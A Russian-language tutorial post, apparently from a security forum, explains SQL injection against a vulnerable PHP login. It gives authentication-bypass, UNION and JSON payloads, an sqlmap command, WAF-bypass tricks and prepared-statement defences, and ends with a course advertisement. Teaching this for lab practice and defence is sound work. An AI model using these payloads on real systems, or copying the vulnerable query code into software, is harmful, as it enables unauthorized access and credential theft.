Представьте, что всего одна строка в текстовом поле входа способна обойти всю систему аутентификации и открыть доступ к базе данных сайта. Звучит как кино? Это реальность, и имя ей — SQL Injection.
Введение
SQL Injection — одна из самых опасных и распространённых уязвимостей в веб-приложениях. Несмотря на то, что о ней говорят уже больше 20 лет, до сих пор тысячи сайтов остаются уязвимыми.
В этой статье мы разберём:
- Как работает SQL-инъекция на примере уязвимого веб-приложения.
- Практическую эксплуатацию с использованием Python и SQLmap.
- Как защититься от таких атак.
- Современные техники обхода WAF и сложные кейсы.
Если вы занимаетесь пентестом или веб-разработкой — этот материал поможет вам глубже понять механизмы атаки и защиты.
Как работает SQL Injection?
SQL-инъекция возникает, когда приложение некорректно обрабатывает пользовательский ввод, позволяя злоумышленнику внедрить произвольный SQL-код.
Пример уязвимого PHP-кода:
PHP:
Код:
$username
=
$_POST
[
'username'
]
;
$password
=
$_POST
[
'password'
]
;
$query
=
"SELECT * FROM users WHERE username='$username' AND password='$password'"
;
$result
=
mysqli_query
(
$conn
,
$query
)
;
Если ввести
в поле
, запрос превратится в:
SQL:
Код:
SELECT
*
FROM
users
WHERE
username
=
'admin'
--' AND password='...'
Комментарий
отключает проверку пароля, и злоумышленник получает доступ к аккаунту администратора.
Эксплуатация SQL-инъекции на практике
Рассмотрим реальный кейс с уязвимым сайтом (используем легальный стенд, например, We;come DVWA - Damn Vulnerable Web Application или OWASP WebGoat | OWASP Foundation).
1. Установка DVWA (для новичков)
- Скачайте DVWA с We;come DVWA - Damn Vulnerable Web Application.
- Установите XAMPP или LAMP для локального сервера.
- Разместите файлы DVWA в папке
(или аналогичной).
- Настройте базу данных в
.
- Запустите сервер и откройте DVWA в браузере.
2. Обнаружение уязвимости
Проверим форму входа на SQL-инъекцию:
- Вводим
— если появляется ошибка SQL, уязвимость есть.
- Пробуем
— если авторизация проходит, инъекция подтверждена.
3. Извлечение данных с помощью UNION-атаки
Если приложение выводит результаты запроса, можно использовать UNION для получения данных из других таблиц.
Пример запроса:
SQL:
Код:
'
UNION
SELECT
username
,
password
FROM
users
--
В ответе могут оказаться хэши паролей, которые затем можно взломать через John the Ripper password cracker или hashcat - advanced password recovery.
4. Автоматизация с помощью SQLmap
Для ускорения тестирования используем SQLmap:
Bash:
Код:
sqlmap -u
"http://example.com/login.php"
--data
=
"username=admin&password=123"
--dbs
Объяснение флагов:- — URL-адрес цели.
- — данные POST-запроса.
- — извлечение списка баз данных.
5. Современные техники: SQLi в REST API и обход WAF
SQLi в REST API
Если приложение использует JSON, инъекцию можно внедрить в тело запроса:
JSON:
Код:
{
"username"
:
"admin' OR 1=1 --"
,
"password"
:
"password"
}
Обход WAF
Для обхода WAF можно использовать:
- Модификацию ключевых слов:
SQL:
Код:
SELSELECTECT
*
FROM
users
WHERE
username
=
'admin'
- Каскадные запросы:
SQL:
Код:
'; SELECT * FROM users WHERE '
1
'='
1
Рекомендуемые материалы по SQL Injection на античат
- CTF: Решаем SQL Injection задания
Практический разбор SQLi-задач с использованием SQLmap и ручных техник. Подходит для подготовки к CTF и отработки навыков на легальных стендах.
- SQL-injection, Error Based - XPATH
Разбор инъекций через функции
и
в MySQL, с примерами и объяснением механизмов.
- SQL Injection: обсуждение и вопросы
Форумная тема с обсуждением различных техник SQL-инъекций, включая Boolean-based и обход фильтров, с примерами запросов и советами от участников.
Как защититься от SQL Injection?
- Используйте подготовленные выражения (Prepared Statements)
PHP:
Код:
$stmt
=
$conn
-
>
prepare
(
"SELECT * FROM users WHERE username=? AND password=?"
)
;
$stmt
-
>
bind_param
(
"ss"
,
$username
,
$password
)
;
$stmt
-
>
execute
(
)
;
- Применяйте ORM (например, SQLAlchemy, Django ORM)
ORM автоматически экранируют запросы, предотвращая инъекции.
- Ограничивайте права БД
У приложения не должно быть прав на
или
.
- Используйте WAF (например, ModSecurity)
WAF помогает блокировать известные шаблоны атак.
- Проверяйте ввод данных
Используйте whitelisting (разрешение только ожидаемых значений).
SQL Injection остаётся серьёзной угрозой, но её можно избежать, следуя best practices. Если вы тестируете свои приложения — обязательно проверяйте их на уязвимости, а если разрабатываете — всегда используйте параметризованные запросы.
FAQ
Как тестировать SQLi легально?
Только на своих приложениях или через bug bounty (например, на HackerOne).
Какие ещё есть виды SQL-инъекций?
Слепые (Blind SQLi), основанные на времени (Time-Based) и ошибках (Error-Based).
Как обнаружить слепую SQLi?
Через условные ошибки или задержки ответа (например,
).
Какие ORM лучше защищают от SQLi?
Django ORM, SQLAlchemy и Hibernate автоматически экранируют запросы.
Можно ли защититься только с помощью WAF?
Нет, WAF помогает, но не заменяет безопасный код.
Хотите глубже разобрать техники SQL-инъекций и научиться использовать их профессионально?
На курсе «SQL Injection: от сканирования до эксплуатации» от античат вы:
Освоите 20+ техник SQLi (Classic, Blind, Time-based, Error-based, Out-of-Band)
Научитесь автоматизировать атаки с SQLmap и писать свои payload’ы
Получите практику на легальных стендах и CTF-задачах
Разберёте методы обхода WAF и эксплуатации SQLi в API
Старт ближайшего потока — 23 июня.
Попробуйте повторить атаку на DVWA и поделитесь результатами в комментариях!